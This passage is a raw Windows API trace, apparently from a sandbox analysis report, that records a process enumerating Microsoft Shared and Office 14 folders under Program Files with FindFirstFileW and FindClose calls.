lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.754] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.754] GetProcessHeap () returned 0x730000 [0054.754] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.754] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.754] GetProcessHeap () returned 0x730000 [0054.754] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.755] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.756] GetProcessHeap () returned 0x730000 [0054.756] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.756] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.756] GetProcessHeap () returned 0x730000 [0054.757] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.757] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.757] GetProcessHeap () returned 0x730000 [0054.758] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.758] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.758] GetProcessHeap () returned 0x730000 [0054.758] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x980e725f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x980e725f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.759] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.759] GetProcessHeap () returned 0x730000 [0054.759] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.759] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.760] GetProcessHeap () returned 0x730000 [0054.760] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.761] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.761] GetProcessHeap () returned 0x730000 [0054.761] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.761] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.762] GetProcessHeap () returned 0x730000 [0054.762] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.762] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.762] GetProcessHeap () returned 0x730000 [0054.762] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.763] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.763] GetProcessHeap () returned 0x730000 [0054.763] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.764] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.764] GetProcessHeap () returned 0x730000 [0054.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.764] FindClose (in: hFindFile=0x7522b8 | out: hFindFile=0x7522b8) returned 1 [0054.764] GetProcessHeap () returned 0x730000 [0054.764] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e91878 | out: hHeap=0x730000) returned 1 [0054.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522b8 [0054.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.766] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.767] GetProcessHeap () returned 0x730000 [0054.767] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.768] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.768] GetProcessHeap () returned 0x730000 [0054.768] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2940 [0054.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.795] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.796] GetProcessHeap () returned 0x730000 [0054.796] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f068d0 | out: hHeap=0x730000) returned 1 [0054.796] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0054.797] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0054.797] GetProcessHeap () returned 0x730000 [0054.797] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f068d0 | out: hHeap=0x730000) returned 1 [0054.797] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0055.644] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0055.651] GetProcessHeap () returned 0x730000 [0055.657] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f068d0 | out: hHeap=0x730000) returned 1 [0055.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.675] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.675] GetProcessHeap () returned 0x730000 [0055.675] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f068d0 | out: hHeap=0x730000) returned 1 [0055.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.701] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.702] GetProcessHeap () returned 0x730000 [0055.702] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.702] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.703] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.703] GetProcessHeap () returned 0x730000 [0055.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.703] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.703] GetProcessHeap () returned 0x730000 [0055.703] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.704] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.704] GetProcessHeap () returned 0x730000 [0055.704] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.704] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.704] GetProcessHeap () returned 0x730000 [0055.704] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.704] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.704] GetProcessHeap () returned 0x730000 [0055.705] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0055.705] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0055.705] GetProcessHeap () returned 0x730000 [0055.705] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0055.705] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0056.485] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0056.485] GetProcessHeap () returned 0x730000 [0056.485] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0056.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0058.248] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0058.248] GetProcessHeap () returned 0x730000 [0058.248] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ee38a8 | out: hHeap=0x730000) returned 1 [0058.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x27fea90 | out: lpFindFileData=0x27fea90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0062.330] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0062.330] 